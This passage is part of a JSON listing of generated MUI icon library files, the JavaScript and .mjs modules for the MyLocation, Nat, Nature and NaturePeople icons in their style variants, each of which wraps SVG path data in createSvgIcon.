    "path": "packages/mui-icons-material/lib/MusicVideoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18V5H3zm8-7c.35 0 .69.07 1 .18V6h5v2h-3v7.03c-.02 1.64-1.35 2.97-3 2.97-1.66 0-3-1.34-3-3s1.34-3 3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zm-10-1c1.65 0 2.98-1.33 3-2.97V8h3V6h-5v6.18c-.31-.11-.65-.18-1-.18-1.66 0-3 1.34-3 3s1.34 3 3 3\"\n}, \"1\")], 'MusicVideoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MyLocation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'MyLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/MyLocation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'MyLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/MyLocationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'MyLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MyLocationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'MyLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MyLocationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V2c0-.55-.45-1-1-1s-1 .45-1 1v1.06C6.83 3.52 3.52 6.83 3.06 11H2c-.55 0-1 .45-1 1s.45 1 1 1h1.06c.46 4.17 3.77 7.48 7.94 7.94V22c0 .55.45 1 1 1s1-.45 1-1v-1.06c4.17-.46 7.48-3.77 7.94-7.94H22c.55 0 1-.45 1-1s-.45-1-1-1zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'MyLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MyLocationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V2c0-.55-.45-1-1-1s-1 .45-1 1v1.06C6.83 3.52 3.52 6.83 3.06 11H2c-.55 0-1 .45-1 1s.45 1 1 1h1.06c.46 4.17 3.77 7.48 7.94 7.94V22c0 .55.45 1 1 1s1-.45 1-1v-1.06c4.17-.46 7.48-3.77 7.94-7.94H22c.55 0 1-.45 1-1s-.45-1-1-1zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'MyLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MyLocationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'MyLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MyLocationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'MyLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MyLocationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3.06V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2h-2.06c-.46-4.17-3.77-7.48-7.94-7.94M12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\")], 'MyLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MyLocationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3.06V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2h-2.06c-.46-4.17-3.77-7.48-7.94-7.94M12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\")], 'MyLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Nat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.82 13H11v-2H6.82C6.4 9.84 5.3 9 4 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2M4 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 12-4-3v2h-4.05c-.5-5.05-4.76-9-9.95-9v2c4.42 0 8 3.58 8 8s-3.58 8-8 8v2c5.19 0 9.45-3.95 9.95-9H19v2z\"\n}, \"1\")], 'Nat');"
  },
  {
    "path": "packages/mui-icons-material/lib/Nat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.82 13H11v-2H6.82C6.4 9.84 5.3 9 4 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2M4 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 12-4-3v2h-4.05c-.5-5.05-4.76-9-9.95-9v2c4.42 0 8 3.58 8 8s-3.58 8-8 8v2c5.19 0 9.45-3.95 9.95-9H19v2z\"\n}, \"1\")], 'Nat');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.82 13H11v-2H6.82C6.4 9.84 5.3 9 4 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2M4 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 12-4-3v2h-4.05c-.5-5.05-4.76-9-9.95-9v2c4.42 0 8 3.58 8 8s-3.58 8-8 8v2c5.19 0 9.45-3.95 9.95-9H19v2z\"\n}, \"1\")], 'NatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.82 13H11v-2H6.82C6.4 9.84 5.3 9 4 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2M4 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 12-4-3v2h-4.05c-.5-5.05-4.76-9-9.95-9v2c4.42 0 8 3.58 8 8s-3.58 8-8 8v2c5.19 0 9.45-3.95 9.95-9H19v2z\"\n}, \"1\")], 'NatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.82 13H11v-2H6.82C6.4 9.84 5.3 9 4 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2M4 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.47 12.4c.27-.2.27-.6 0-.8L19 9v2h-4.05c-.47-4.69-4.16-8.42-8.83-8.94-.6-.06-1.12.4-1.12 1 0 .5.37.93.87.99C9.88 4.48 13 7.87 13 12s-3.12 7.52-7.13 7.95c-.5.06-.87.49-.87.99 0 .6.52 1.07 1.11 1 4.67-.52 8.37-4.25 8.83-8.94H19v2z\"\n}, \"1\")], 'NatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.82 13H11v-2H6.82C6.4 9.84 5.3 9 4 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2M4 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.47 12.4c.27-.2.27-.6 0-.8L19 9v2h-4.05c-.47-4.69-4.16-8.42-8.83-8.94-.6-.06-1.12.4-1.12 1 0 .5.37.93.87.99C9.88 4.48 13 7.87 13 12s-3.12 7.52-7.13 7.95c-.5.06-.87.49-.87.99 0 .6.52 1.07 1.11 1 4.67-.52 8.37-4.25 8.83-8.94H19v2z\"\n}, \"1\")], 'NatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.82 13H11v-2H6.82C6.4 9.84 5.3 9 4 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2M4 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 12-4-3v2h-4.05c-.5-5.05-4.76-9-9.95-9v2c4.42 0 8 3.58 8 8s-3.58 8-8 8v2c5.19 0 9.45-3.95 9.95-9H19v2z\"\n}, \"1\")], 'NatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.82 13H11v-2H6.82C6.4 9.84 5.3 9 4 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2M4 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 12-4-3v2h-4.05c-.5-5.05-4.76-9-9.95-9v2c4.42 0 8 3.58 8 8s-3.58 8-8 8v2c5.19 0 9.45-3.95 9.95-9H19v2z\"\n}, \"1\")], 'NatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.82 13H11v-2H6.82C6.4 9.84 5.3 9 4 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2M4 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 12-4-3v2h-4.05c-.5-5.05-4.76-9-9.95-9v2c4.42 0 8 3.58 8 8s-3.58 8-8 8v2c5.19 0 9.45-3.95 9.95-9H19v2z\"\n}, \"2\")], 'NatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.82 13H11v-2H6.82C6.4 9.84 5.3 9 4 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2M4 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 12-4-3v2h-4.05c-.5-5.05-4.76-9-9.95-9v2c4.42 0 8 3.58 8 8s-3.58 8-8 8v2c5.19 0 9.45-3.95 9.95-9H19v2z\"\n}, \"2\")], 'NatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Nature.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 16.12c3.47-.41 6.17-3.36 6.17-6.95 0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H5v2h14v-2h-6z\"\n}), 'Nature');"
  },
  {
    "path": "packages/mui-icons-material/lib/Nature.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 16.12c3.47-.41 6.17-3.36 6.17-6.95 0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H5v2h14v-2h-6z\"\n}), 'Nature');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatureOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 16.12h-.03c3.49-.4 6.2-3.36 6.2-6.95 0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H5v2h14v-2h-6zM7.17 9.17c0-2.76 2.24-5 5-5s5 2.24 5 5-2.24 5-5 5-5-2.24-5-5\"\n}), 'NatureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NatureOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 16.12h-.03c3.49-.4 6.2-3.36 6.2-6.95 0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H5v2h14v-2h-6zM7.17 9.17c0-2.76 2.24-5 5-5s5 2.24 5 5-2.24 5-5 5-5-2.24-5-5\"\n}), 'NatureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NaturePeople.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.17 9.17c0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H6v-3h1v-4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v4h1v5h16v-2h-3v-3.88c3.47-.41 6.17-3.36 6.17-6.95M4.5 11c.83 0 1.5-.67 1.5-1.5S5.33 8 4.5 8 3 8.67 3 9.5 3.67 11 4.5 11\"\n}), 'NaturePeople');"
  },
  {
    "path": "packages/mui-icons-material/lib/NaturePeople.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.17 9.17c0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H6v-3h1v-4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v4h1v5h16v-2h-3v-3.88c3.47-.41 6.17-3.36 6.17-6.95M4.5 11c.83 0 1.5-.67 1.5-1.5S5.33 8 4.5 8 3 8.67 3 9.5 3.67 11 4.5 11\"\n}), 'NaturePeople');"
  },
  {
    "path": "packages/mui-icons-material/lib/NaturePeopleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.17 9.17c0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H6v-3h1v-4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v4h1v5h16v-2h-3v-3.88c3.47-.41 6.17-3.36 6.17-6.95m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'NaturePeopleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NaturePeopleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.17 9.17c0-3.87-3.13-7-7-7s-7 3.13-7 7c0 3.47 2.52 6.34 5.83 6.89V20H6v-3h1v-4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v4h1v5h16v-2h-3v-3.88c3.47-.41 6.17-3.36 6.17-6.95m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'NaturePeopleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NaturePeopleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.17 9.17c0-3.91-3.19-7.06-7.11-7-3.83.06-6.99 3.37-6.88 7.19.09 3.38 2.58 6.16 5.83 6.7V20H6v-3h.5c.28 0 .5-.22.5-.5V13c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v3.5c0 .28.22.5.5.5H3v4c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1h-2v-3.88c3.47-.41 6.17-3.36 6.17-6.95\"\n}, \"1\")], 'NaturePeopleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NaturePeopleRounded.mjs",
